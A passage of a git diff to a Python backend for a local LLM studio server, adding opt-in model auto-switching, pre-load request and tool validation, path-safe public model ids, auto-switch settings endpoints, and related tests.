_wants_multiple_choices(payload): _raise_unsupported_n("GGUF audio chat completions") @@ -5201,7 +5749,11 @@ async def openai_chat_completions( ) # ── Parse messages (handles multimodal content parts) ───── - system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) + # Reuse the pre-hook parse when auto-switch did it, else parse now. + if _pre_parsed is not None: + system_prompt, chat_messages, extracted_image_b64 = _pre_parsed + else: + system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) if not chat_messages: raise _reject(400, "At least one non-system message is required.") @@ -6508,10 +7060,13 @@ def _openai_model_objects() -> list[dict]: # Check GGUF backend llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded: + # Advertise the repo id an auto-switch load recorded, not the concrete + # on-disk load path, so /v1/models never leaks a host path or lists a + # model twice (path plus repo id). entry = { - # Public id, never the absolute .gguf path (which leaks the host - # filesystem layout); see core.inference.model_ids.public_model_id. - "id": public_model_id(llama_backend.model_identifier), + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path (which leaks the host filesystem layout). + "id": _llama_public_model_id(llama_backend), "object": "model", "created": _created, "owned_by": _OWNED_BY, @@ -6557,7 +7112,21 @@ def _openai_model_objects() -> list[dict]: # don't rescan the HF cache and models dirs on every request. _CATALOG_CACHE: dict = {"at": 0.0, "models": []} _CATALOG_TTL_S = 30.0 -_CATALOG_LOCK = asyncio.Lock() +# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its +# waiters to the loop that first awaited it, so a second event loop awaiting it +# in a multi-loop ASGI process can hang. The cache double-check keeps correctness +# even when two loops each scan once. +_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_catalog_locks_guard = threading.Lock() + + +def _catalog_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + with _catalog_locks_guard: + lock = _catalog_locks.get(loop) + if lock is None: + lock = _catalog_locks[loop] = asyncio.Lock() + return lock async def _cached_local_catalog() -> list: @@ -6574,7 +7143,7 @@ async def _cached_local_catalog() -> list: now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] - async with _CATALOG_LOCK: + async with _catalog_lock(): now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] @@ -6604,7 +7173,15 @@ async def _openai_catalog_objects() -> list[dict]: by_id[entry["id"]] = {**entry, "loaded": True} # Locally available (downloaded/cached) models that are not already loaded. - for info in await _cached_local_catalog(): + # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is + # read from the on-disk files, not model_format: the HF-cache scanner leaves + # model_format unset for GGUF snapshots, so a model_format filter would drop + # every cached GGUF. The file checks run off the loop. + from core.inference.local_model_resolver import info_has_local_gguf + + catalog = await _cached_local_catalog() + servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)]) + for info in servable: cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None)) if not cid or cid in by_id: continue @@ -6648,29 +7225,43 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge from core.inference.model_ids import model_id_matches # Loaded models resolve without a catalog scan (the common case); only build - # the full catalog -- which may hit the filesystem -- for unloaded ids. - for entry in _openai_model_objects(): - if entry["id"] == model_id: + # the full catalog -- which may hit the filesystem -- for unloaded ids. Match + # case-insensitively, like the catalog loop below and the resolver's index. + _loaded = _openai_model_objects() + for entry in _loaded: + eid = entry["id"] + if isinstance(eid, str) and eid.lower() == model_id.lower(): return {**entry, "loaded": True} objects = await _openai_catalog_objects() for model in objects: - if model["id"] == model_id: + # Case-insensitive to match the resolver, which lowercases its index. + mid = model.get("id") + if isinstance(mid, str) and mid.lower() == model_id.lower(): return model # Backward compatibility: a client may still send the legacy raw identifier - # (e.g. an absolute .gguf path cached from an older /v1/models). Resolve it to - # the clean object so it keeps working, without ever echoing the path back. + # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the + # loaded model's object so it keeps working, without ever echoing the path back. + # Key each raw id to the SAME public id its /v1/models entry uses: an + # auto-switch load advertises a repo id while its identifier is the snapshot + # path, so public_model_id(path) would miss the advertised entry and 404 a + # model that is in fact loaded. llama_backend = get_llama_cpp_backend() backend = get_inference_backend() - for raw in ( - llama_backend.model_identifier if llama_backend.is_loaded else None, - backend.active_model_name or None, - ): - if raw and model_id_matches(model_id, raw): - clean = public_model_id(raw) - for model in objects: - if model["id"] == clean: - return model + raw_to_public: list[tuple[str, Optional[str]]] = [] + if llama_backend.is_loaded and llama_backend.model_identifier: + raw_to_public.append( + (llama_backend.model_identifier, _llama_public_model_id(llama_backend)) + ) + if backend.active_model_name: + raw_to_public.append( + (backend.active_model_name, public_model_id(backend.active_model_name)) + ) + for raw, clean in raw_to_public: + if model_id_matches(model_id, raw): + for entry in _loaded: + if entry["id"] == clean: + return {**entry, "loaded": True} raise HTTPException( status_code = 404, detail = openai_error_body( @@ -6695,6 +7286,16 @@ def _flatten_monitor_prompt(value) -> str: return str(value) +def _completions_prompt_present(body: dict) -> bool: + """Whether a completions body carries a usable ``prompt`` (non-empty).""" + prompt = body.get("prompt") + if isinstance(prompt, str): + return prompt != "" + if isinstance(prompt, (list, tuple)): + return len(prompt) > 0 + return prompt is not None + + @router.post("/completions") async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6704,13 +7305,39 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge when a GGUF model is loaded. """ llama_backend = get_llama_cpp_backend() + + # Reject a request with no prompt before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/embeddings already + # validate before switching). Gate on every automatic-load trigger. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_prompt = _pre.get("prompt") + if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)): + # An object/number prompt is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.") + if not _completions_prompt_present(_pre): + raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.") + + # Opt-in: load the requested local GGUF before the loaded-state check. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() if body.get("max_tokens") is None: body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR target_url = f"{llama_backend.base_url}/v1/completions" @@ -6719,7 +7346,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -6866,6 +7493,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # ===================================================================== +def _embeddings_input_present(body: dict) -> bool: + """Whether an embeddings body carries a usable ``input`` (non-empty).""" + inp = body.get("input") + if isinstance(inp, str): + return inp != "" + if isinstance(inp, (list, tuple)): + return len(inp) > 0 + return inp is not None + + @router.post("/embeddings") async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6877,13 +7514,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get error (expected). """ llama_backend = get_llama_cpp_backend() + # Reject a request with no input before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/responses/messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_input = _pre.get("input") + if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)): + # An object/number input is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'input' must be a string or array.") + if not _embeddings_input_present(_pre): + raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.") + # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike + # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has + # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers + # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort: + # a non-embedding target switches, then llama-server returns a no-pooling error. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() target_url = f"{llama_backend.base_url}/v1/embeddings" prompt_text = _flatten_monitor_prompt(body.get("input", "")) monitor_id = None @@ -6891,7 +7557,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -7356,10 +8022,13 @@ def _build_chat_request( ``/v1/chat/completions`` client-side pass-through picks them up unchanged. """ chat_kwargs: dict = dict( - model = payload.model, messages = messages, stream = stream, ) + # Only forward an explicitly set model so an omitted Responses model stays + # reload-only when openai_chat_completions re-checks on the non-streaming path. + if "model" in payload.model_fields_set: + chat_kwargs["model"] = payload.model if payload.temperature is not None: chat_kwargs["temperature"] = payload.temperature if payload.top_p is not None: @@ -7613,12 +8282,11 @@ async def _responses_stream( # Clean public id for every response envelope. Prefer the loaded model's # id so the stream agrees with /v1/models, chat/completions and the # non-streaming twin; fall back to a sanitized payload.model (a legacy - # raw .gguf path is stripped, never echoed back). - _clean_model = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model - ) + # raw .gguf path is stripped, never echoed back). Use the advertised-id + # helper, not the raw identifier: after an auto-switch to a cached HF GGUF + # the identifier is the snapshot path while the repo id lives in + # _openai_advertised_id, so the raw form would stream a snapshot basename. + _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model full_text = "" full_reasoning = "" input_tokens = 0 @@ -8261,6 +8929,56 @@ async def openai_responses( messages = _normalise_responses_input(payload) if not messages: raise HTTPException(status_code = 400, detail = "No input provided.") + # System/developer-only input normalises to a non-empty list, so reject it + # before the switch (mirror chat) or an invalid request evicts the resident + # model only for the chat handler to 400 it as having no non-system message. + if not any(m.role not in ("system", "developer") for m in messages): + raise HTTPException(status_code = 400, detail = "At least one non-system message is required.") + # Reject a malformed function tool before any model load, mirroring the + # /v1/chat/completions check, so an invalid request never switches the model. + # Built-in tools (web_search, mcp, ...) carry no name and are dropped later. + for _tool in payload.tools or []: + if not isinstance(_tool, dict) or _tool.get("type") != "function": + continue + _name = _tool.get("name") + if not isinstance(_name, str) or not _name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tools': each function tool must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tools", + ), + ) + # Reject a forcing-function tool_choice with no name before the switch (mirror + # chat), so a malformed request can't evict the model. Responses forces with + # {"type": "function", "name": "X"}; the streaming path would otherwise forward + # the bad choice and the non-streaming path only 400s after the swap. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_name = _tc.get("name") + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # After input validation so a 400 never triggers a load. Switches the + # streaming path; non-streaming re-checks via the idempotent chat handler. + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to 400 afterwards + # (the non-streaming chat re-check short-circuits on _already_serving). + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _messages_have_image(messages), + ) if payload.stream: monitor_id = None @@ -8397,6 +9115,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b return has_image +def _validate_anthropic_client_tools(tools) -> None: + # Reject malformed client tools before any model load, so an invalid request + # never evicts the loaded model. AnthropicTool relaxed name/input_schema to + # Optional for server tools, so the converter silently drops incomplete + # entries; surface them as 400 here. A `type` field marks a server-tool + # declaration (unrecognized server tools are no-ops); anything else without + # input_schema or name is malformed. + for tool in tools or []: + td = tool if isinstance(tool, dict) else tool.model_dump() + name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") + if schema is None and not isinstance(type_, str): + raise HTTPException( + status_code = 400, + detail = f"Tool {name!r} is missing required field 'input_schema'.", + ) + if schema is not None and (not isinstance(name, str) or not name): + raise HTTPException( + status_code = 400, + detail = "Client tool is missing required field 'name'.", + ) + + @router.post("/messages/count_tokens") async def anthropic_count_tokens( payload: AnthropicMessagesRequest, @@ -8410,6 +9150,19 @@ async def anthropic_count_tokens( tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages, max_tokens is NOT required here. """ + # Reject malformed tools before the switch, like /messages, so an invalid + # count request can't evict the loaded model. + _validate_anthropic_client_tools(payload.tools) + # Count with the requested model's tokenizer, like the sibling /messages. + # Carry the vision guard too: an image count naming a text-only GGUF must not + # evict a loaded vision model for a swap that can't serve the request. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + llama_backend = get_llama_cpp_backend() if not llama_backend.is_loaded: raise HTTPException( @@ -8476,14 +9229,20 @@ async def anthropic_messages( JSON). """ llama_backend = get_llama_cpp_backend() - if not llama_backend.is_loaded: + + # Default-off parity: with no automatic load possible and nothing loaded, 503 + # before any request-shape check, exactly as the pre-feature endpoint did. When + # an automatic load can run (auto-switch or a standalone idle TTL), fall through + # so validation runs before the reload hook gets a chance to restore the model. + if not llama_backend.is_loaded and not _automatic_model_load_may_run(): raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) - # max_tokens is a required field on the Anthropic Messages API; real - # Anthropic returns a 400 invalid_request_error when it is omitted. + # max_tokens is a required field on the Anthropic Messages API; real Anthropic + # returns a 400 invalid_request_error when it is omitted. Validate before + # auto-switch so a rejected request never triggers a model load. if payload.max_tokens is None: raise HTTPException( status_code = 400, @@ -8494,13 +9253,47 @@ async def anthropic_messages( ), ) - # Clean public id so /v1/messages never echoes the local .gguf path (and a - # legacy raw path sent as payload.model is sanitized rather than returned). - model_name = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model + # Reject malformed client tools before any model load (see helper), so an + # invalid request never evicts the loaded model. + _validate_anthropic_client_tools(payload.tools) + + # Mixing Anthropic server tools with custom client tools is unsupported (the + # server-tool loop can't relay client functions back to the caller). Reject + # before the switch too -- it depends only on the payload -- so an invalid + # request never evicts the loaded model. Reused below for tool routing. + requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) + _has_client_tool = any( + (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None + for t in payload.tools or [] ) + if requested_studio_tools and _has_client_tool: + raise HTTPException( + status_code = 400, + detail = ( + "Mixing Anthropic server tools (e.g. web_search_20250305) " + "with custom client tools in a single request is not " + "supported. Send them in separate requests." + ), + ) + + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to hit the vision + # guard (_normalize_anthropic_openai_images) below after the load. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + if not llama_backend.is_loaded: + raise HTTPException( + status_code = 503, + detail = "No GGUF model loaded. Load a GGUF model first.", + ) + + # Advertised repo id after an auto-switch load, else a clean public id, never + # the local .gguf path (and a legacy raw path in payload.model is sanitized). + model_name = _llama_public_model_id(llama_backend, payload.model) message_id = f"msg_{uuid.uuid4().hex[:24]}" # ── Translate Anthropic → OpenAI ────────────────────────── @@ -8547,51 +9340,8 @@ async def anthropic_messages( # 2. tools=[...] only → client-side pass-through (standard Anthropic behavior) # 3. neither → plain chat # The server-side agentic loop doesn't support multimodal input -- matches - # the `not image_b64` gate in /v1/chat/completions. - requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) - - # Reject malformed client tools at the boundary. AnthropicTool was relaxed - # to Optional[name]/Optional[input_schema] for server tools, so the - # converter silently drops incomplete entries -- surface them as 400. A - # `type` field marks a server-tool declaration per spec (unrecognized server - # tools are accepted as no-ops); anything else without input_schema or name - # is malformed and must not be allowed to silently flip execution mode or - # disable tool calling. - for tool in payload.tools or []: - td = tool if isinstance(tool, dict) else tool.model_dump() - name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") - if schema is None and not isinstance(type_, str): - raise HTTPException( - status_code = 400, - detail = f"Tool {name!r} is missing required field 'input_schema'.", - ) - if schema is not None and (not isinstance(name, str) or not name): - raise HTTPException( - status_code = 400, - detail = "Client tool is missing required field 'name'.", - ) - - # Detect client tools from the raw payload (presence of input_schema) so the - # mixed-mode check below isn't fooled by a name collision with a server-tool - # alias that the post-filter would silently drop. - _has_client_tool = any( - (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None - for t in payload.tools or [] - ) - - # The server-tool agentic loop executes tools in-process and can't relay - # unknown client functions back to the caller, so mixed requests would - # silently drop the client tools. Reject explicitly instead. - if requested_studio_tools and _has_client_tool: - raise HTTPException( - status_code = 400, - detail = ( - "Mixing Anthropic server tools (e.g. web_search_20250305) " - "with custom client tools in a single request is not " - "supported. Send them in separate requests." - ), - ) - + # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and + # the mixed-mode rejection were computed before the switch above. openai_client_tools = [ tool for tool in anthropic_tools_to_openai(payload.tools or []) @@ -10305,7 +11055,7 @@ async def load_diffusion_model( annotate_status, select_and_activate_engine, ) - from core.inference.gpu_arbiter import acquire_for, DIFFUSION + from core.inference.gpu_arbiter import acquire_for, release, DIFFUSION from core.inference.sd_cpp_engine import ENGINE_SD_CPP from utils.native_path_leases import redact_native_paths @@ -10344,6 +11094,14 @@ async def load_diffusion_model( # Then kick the (slow) load onto a background thread and return at once -- # the client polls images/load-progress. await asyncio.to_thread(acquire_for, DIFFUSION) + else: + # A CPU-only native load never touches the GPU, so it neither acquires nor is + # tracked by the arbiter. But switching here FROM a previous diffusers/GPU load + # (select_and_activate_engine unloaded it above) leaves DIFFUSION still marked + # as the arbiter owner; a later chat acquire would then "evict" this CPU model + # for no reason. Release that stale ownership -- release() is owner-guarded, so + # it is a no-op when diffusion never owned the GPU. + await asyncio.to_thread(release, DIFFUSION) status_dict = await asyncio.to_thread( engine.begin_load, request.model_path, diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py index 1fa9055d3a..5acf039401 100644 --- a/studio/backend/routes/preview.py +++ b/studio/backend/routes/preview.py @@ -17,7 +17,11 @@ from loggers import get_logger from auth.authentication import get_current_subject from auth.storage import DEFAULT_ADMIN_USERNAME from models.inference import ChatCompletionRequest, LoadRequest -from routes.inference import load_model, openai_chat_completions +from routes.inference import ( + disable_openai_auto_switch_for_request, + load_model, + openai_chat_completions, +) from state.tool_policy import tools_force_disabled from utils.client_ip import client_ip from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint @@ -155,6 +159,9 @@ async def _serve_chat( path = _resolve_or_4xx(run, checkpoint) is_lora = (path / "adapter_config.json").exists() payload = _sanitize_preview_payload(payload, is_lora) + # Preview always serves the pinned checkpoint it loads below; a public caller's + # `model` field must never trigger an OpenAI auto-switch to another GGUF. + disable_openai_auto_switch_for_request(getattr(request, "scope", None)) await _preview_lock.acquire() keep_locked = False try: diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index f582500f7f..0694ae31e0 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -32,6 +32,16 @@ from utils.helper_precache_settings import ( helper_model_disabled_by_env, set_helper_precache_enabled, ) +from utils.openai_auto_switch_settings import ( + DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, + DEFAULT_OPENAI_AUTO_SWITCH_ENABLED, + get_auto_unload_idle_seconds, + get_model_overrides, + get_openai_auto_switch_enabled, + get_stored_auto_unload_idle_seconds, + set_model_override, + set_openai_auto_switch, +) from utils.preview_sharing_settings import ( DEFAULT_PREVIEW_SHARING_ENABLED, get_preview_sharing_enabled, @@ -66,6 +76,33 @@ class HelperPrecacheResponse(BaseModel): disabled_by_env: bool +class OpenAIAutoSwitchPayload(BaseModel): + enabled: bool + auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0) + + +class OpenAIAutoSwitchResponse(BaseModel): + enabled: bool + auto_unload_idle_seconds: int + default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + # True when the idle-unload loop will actually unload (effective TTL > 0). With + # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled + # is false, so the UI can show idle-unload as active instead of "needs enable". + idle_unload_active: bool = False + + +class ModelOverridePayload(BaseModel): + model_id: str = Field(..., min_length = 1) + llama_extra_args: list[str] = Field(default_factory = list) + # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value, + # so reject it at the boundary instead of accepting then silently discarding it. + max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576) + + +class ModelOverridesResponse(BaseModel): + overrides: dict[str, dict] + + def _upload_limit_response(limit_mb: int) -> UploadLimitResponse: return UploadLimitResponse( max_upload_size_mb = limit_mb, @@ -128,6 +165,70 @@ def update_helper_precache( return _helper_precache_response(enabled) +@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def get_openai_auto_switch( + current_subject: str = Depends(get_current_subject), +) -> OpenAIAutoSwitchResponse: + return OpenAIAutoSwitchResponse( + enabled = get_openai_auto_switch_enabled(), + auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(), + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) +def update_openai_auto_switch( + payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject) +) -> OpenAIAutoSwitchResponse: + try: + enabled, idle_seconds = set_openai_auto_switch( + payload.enabled, payload.auto_unload_idle_seconds + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."), + event = "settings.update_openai_auto_switch_failed", + log = logger, + ) from exc + return OpenAIAutoSwitchResponse( + enabled = enabled, + auto_unload_idle_seconds = idle_seconds, + idle_unload_active = get_auto_unload_idle_seconds() > 0, + ) + + +@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def get_openai_auto_switch_overrides( + current_subject: str = Depends(get_current_subject), +) -> ModelOverridesResponse: + return ModelOverridesResponse(overrides = get_model_overrides()) + + +@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse) +def update_openai_auto_switch_override( + payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject) +) -> ModelOverridesResponse: + from core.inference.llama_server_args import validate_extra_args + try: + extra_args = validate_extra_args(payload.llama_extra_args) + set_model_override( + payload.model_id, + llama_extra_args = extra_args, + max_seq_length = payload.max_seq_length, + ) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid model launch override."), + event = "settings.update_model_override_failed", + log = logger, + ) from exc + return ModelOverridesResponse(overrides = get_model_overrides()) + + class PreviewLinkRotateResponse(BaseModel): rotated: bool = True diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index bcb0c344e0..d235a2e843 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -47,7 +47,7 @@ except ImportError: from utils.paths import resolve_dataset_path # Auth -from auth.authentication import get_current_subject +from auth.authentication import authenticated_via_api_key, get_current_subject from utils.utils import log_and_http_error @@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu @router.post("/start") async def start_training( - request: TrainingStartRequest, current_subject: str = Depends(get_current_subject) + request: TrainingStartRequest, + current_subject: str = Depends(get_current_subject), + via_api_key: bool = Depends(authenticated_via_api_key), ): """ Start a training job. @@ -125,6 +127,22 @@ async def start_training( try: logger.info(f"Starting training job with model: {request.model_name}") + # When Studio is driven as an inference API (API-key auth), refuse to start + # training while a request is in flight: training frees VRAM by unloading + # the chat model, which would kill the stream. The Studio UI (session auth) + # still starts training and coexists/frees VRAM as before. (A mixed UI+API + # session is not yet special-cased.) + if via_api_key is True: + from core.inference.llama_keepwarm import other_inference_request_count + if other_inference_request_count(current_request_counted = False) > 0: + raise HTTPException( + status_code = 409, + detail = ( + "Cannot start training over the API while an inference request is in " + "progress. Wait for it to finish, or start training from the Studio UI." + ), + ) + # No in-process ensure_transformers_version(): the subprocess # (worker.py) activates the correct version before importing ML libs. diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py index 13d6f8ef5e..ea951a4325 100644 --- a/studio/backend/startup_banner.py +++ b/studio/backend/startup_banner.py @@ -12,6 +12,18 @@ import os import sys +def _safe_print(text: str) -> None: + """Print text without crashing on terminals that cannot encode Unicode.""" + try: + print(text) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or "ascii" + try: + print(text.encode(encoding, errors = "replace").decode(encoding)) + except LookupError: + print(text.encode("ascii", errors = "replace").decode("ascii")) + + def stdout_supports_color() -> bool: """True if we should emit ANSI colors.""" if os.environ.get("NO_COLOR", "").strip(): @@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None: """Message when the requested port is taken and another is chosen.""" msg = f"Port {original_port} is in use, using port {new_port} instead." if stdout_supports_color(): - print(f"\033[38;5;245m{msg}\033[0m") + _safe_print(f"\033[38;5;245m{msg}\033[0m") else: - print(msg) + _safe_print(msg) def print_studio_stop_hint() -> None: @@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None: def style(text: str, code: str) -> str: return f"{code}{text}{reset}" if use_color else text - print( + _safe_print( "\n".join( [ "", @@ -180,4 +192,4 @@ def print_studio_access_banner( ] ) - print("\n".join(lines)) + _safe_print("\n".join(lines)) diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index 23b90d7002..ba9f5b9cbc 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -1689,6 +1689,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]: conn.close() +def upsert_app_setting_map_entry( + key: str, entry_key: str, entry_value: dict[str, Any] | None +) -> dict[str, Any]: + """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued + app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other + sub-entries cannot drop each other's updates.""" + conn = get_connection() + try: + conn.execute("BEGIN IMMEDIATE") + row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone() + current = _json_loads(row["value_json"], {}) if row else {} + if not isinstance(current, dict): + current = {} + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + now = datetime.now(timezone.utc).isoformat() + conn.execute( + """ + INSERT INTO app_settings (key, value_json, updated_at) + VALUES (?, ?, ?) + ON CONFLICT(key) DO UPDATE SET + value_json = excluded.value_json, + updated_at = excluded.updated_at + """, + (key, json.dumps(current), now), + ) + conn.commit() + return current + except Exception: + conn.rollback() + raise + finally: + conn.close() + + def list_chat_settings() -> dict[str, Any]: conn = get_connection() try: diff --git a/studio/backend/tests/test_diffusion_backend.py b/studio/backend/tests/test_diffusion_backend.py index bbe1961db8..0aa9597225 100644 --- a/studio/backend/tests/test_diffusion_backend.py +++ b/studio/backend/tests/test_diffusion_backend.py @@ -1890,6 +1890,53 @@ def test_transformer_quant_skipped_when_plan_offloads(fake_runtime, tmp_path, mo assert _FakeTransformer.last["path"] # GGUF path used +def test_transformer_quant_unsupported_scheme_skips_dense_download( + fake_runtime, tmp_path, monkeypatch +): + # An explicit unsupported scheme (select_transformer_quant_scheme -> None) must fail + # the dense path BEFORE materialising the multi-GB dense transformer, then fall back + # to GGUF -- otherwise the download runs under the load lock during finalization + # after the old model was already evicted, only to fail at quantize. + from core.inference import diffusion as dmod + + backend = DiffusionBackend() + _force_cuda_target(backend, monkeypatch) + monkeypatch.setattr(dmod, "dense_transformer_supported", lambda target: True) + monkeypatch.setattr(dmod, "select_transformer_quant_scheme", lambda target, mode: None) + monkeypatch.setattr(dmod, "resolve_prequant_source", lambda fam, scheme, **kw: None) + + @classmethod + def _fp_fail(cls, *a, **k): + pytest.fail("dense transformer must not download when the scheme is unsupported") + + monkeypatch.setattr(_FakeTransformer, "from_pretrained", _fp_fail, raising = False) + (tmp_path / "m.gguf").write_bytes(b"x") + status = backend.load_pipeline( + str(tmp_path), + gguf_filename = "m.gguf", + family_override = "z-image", + transformer_quant = "fp8", + ) + assert status["loaded"] is True + assert status["transformer_quant"] is None # fell back to GGUF + assert _FakeTransformer.last["path"] # GGUF from_single_file used + + +def test_companion_cache_bytes_local_dir_excludes_transformer(tmp_path): + # A LOCAL diffusers base: sum the on-disk VAE / text-encoder 